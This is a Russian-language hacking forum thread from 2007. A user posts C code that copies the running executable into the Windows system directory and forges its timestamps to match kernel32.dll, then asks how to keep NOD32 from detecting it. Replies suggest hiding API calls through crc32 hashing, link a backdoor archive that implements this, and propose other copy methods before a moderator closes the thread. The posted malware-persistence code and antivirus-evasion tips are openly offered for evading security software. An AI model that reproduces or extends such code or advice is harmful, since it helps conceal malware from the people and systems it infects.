CopyToSysDir() Помогите поправить

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by razzzar, 2 Jul 2007.

Thread Status:
Not open for further replies.
  1. razzzar

    razzzar Elder - Старейшина

    Joined:
    16 Jun 2007
    Messages:
    92
    Likes Received:
    75
    Reputations:
    5
    Функция копирует ехе процесса в системную директорию. Мой нод32 ее палит. помогите испарвить, чтобы не ловилась.
    Code:
    // ---------------- [ Copy to system directory ] -------------- //
    
    int CopyToSysDir(char * szBuff)
    {
    	char szExe[256], szNewExe[256], szSysDir[256], szKernl[256], szCurDir[256];
    	HANDLE hFile;
    	FILETIME aTime, bTime, cTime;
    
    	if ( GetModuleFileName(NULL, szExe, 256) == 0 )
    		return 0;
    
    	if ( GetSystemDirectory(szSysDir, 256) == 0 )
    		return 0;
    
    	if ( GetCurrentDirectory(256, szCurDir) == 0 )
    		return 0;
    
    	if ( (strcmp(szSysDir, szCurDir) == 0) && (strcmp(szExe, EXE_NAME) == 0) )
    		return 0;
    
    	lstrcpy(szNewExe, szSysDir);
    	lstrcat(szNewExe, "\\");
    	lstrcat(szNewExe, EXE_NAME);
    
    	if ( CopyFile(szExe, szNewExe, FALSE) == 0 ) // палится в этом месте
    		return 0;
    
    	lstrcpy(szKernl, szSysDir);
    	lstrcat(szKernl, "\\");
    	lstrcat(szKernl, KERNEL32_DLL);
    
    	hFile = CreateFile(szKernl, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
    	if ( hFile != INVALID_HANDLE_VALUE ) 
    	{
    		GetFileTime(hFile, &aTime, &bTime, &cTime);
    		CloseHandle(hFile);
    	}
    	else
    		return 0;
    
    	hFile = CreateFile(szNewExe, GENERIC_WRITE, FILE_SHARE_WRITE, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
    	if ( hFile != INVALID_HANDLE_VALUE ) 
    	{
    		SetFileTime(hFile, &aTime, &bTime, &cTime);
    		CloseHandle(hFile);
    	}
    	else
    		return 0;
    
    	memcpy(szBuff, szNewExe, 256);
    
    	return 1;
    }
    
     
  2. Ni0x

    Ni0x Elder - Старейшина

    Joined:
    27 Aug 2006
    Messages:
    338
    Likes Received:
    157
    Reputations:
    37
    для начала убери прямой вызов апи, можешь использовать crc32
     
  3. razzzar

    razzzar Elder - Старейшина

    Joined:
    16 Jun 2007
    Messages:
    92
    Likes Received:
    75
    Reputations:
    5
    а можно с примером?
     
  4. Ni0x

    Ni0x Elder - Старейшина

    Joined:
    27 Aug 2006
    Messages:
    338
    Likes Received:
    157
    Reputations:
    37
    http://hellknights.void.ru/releases/el-backdoor-small-v0.02.rar
    в нем реализован поиск апи по crc32, разбирайся
     
  5. razzzar

    razzzar Elder - Старейшина

    Joined:
    16 Jun 2007
    Messages:
    92
    Likes Received:
    75
    Reputations:
    5
    ок. спс.
    а больше нету никаких способов изменить код, который палит антивирь? не обязательно тот, что я привел выше
     
  6. Xserg

    Xserg Elder - Старейшина

    Joined:
    9 Dec 2006
    Messages:
    135
    Likes Received:
    127
    Reputations:
    53
    У меня MoveFileExA не палился.
    Сейчас в лом опять NOD ставить, чтобы проверить и с установками экспериментировать.
     
  7. KEZ

    KEZ Ненасытный школьник

    Joined:
    18 May 2005
    Messages:
    1,604
    Likes Received:
    754
    Reputations:
    397
    как понять палит? палит весь файл по ф-ии или его действия AMON файл-монитором?
    ну скоипируй содержимое своего ЕХЕ в созданый в сис. дериктории файл
    CreateFile(), WriteFile(), RedFile(), CloseHandle()

    хотя, как видно, код ты просто скопипастил, непонимая что означает ни одна строчка.
     
  8. _Great_

    _Great_ Elder - Старейшина

    Joined:
    27 Dec 2005
    Messages:
    2,032
    Likes Received:
    1,118
    Reputations:
    1,139
    Блин, а ты как хотел? Конечно, палит.

    Закрыто по причинам:

    1) Ссылок дали достаточно. + еще дам: http://wasm.ru/
    2) Блин, да задолбали темы как скрыться от АВ и фаеров. Думайте своей головой
     
Thread Status:
Not open for further replies.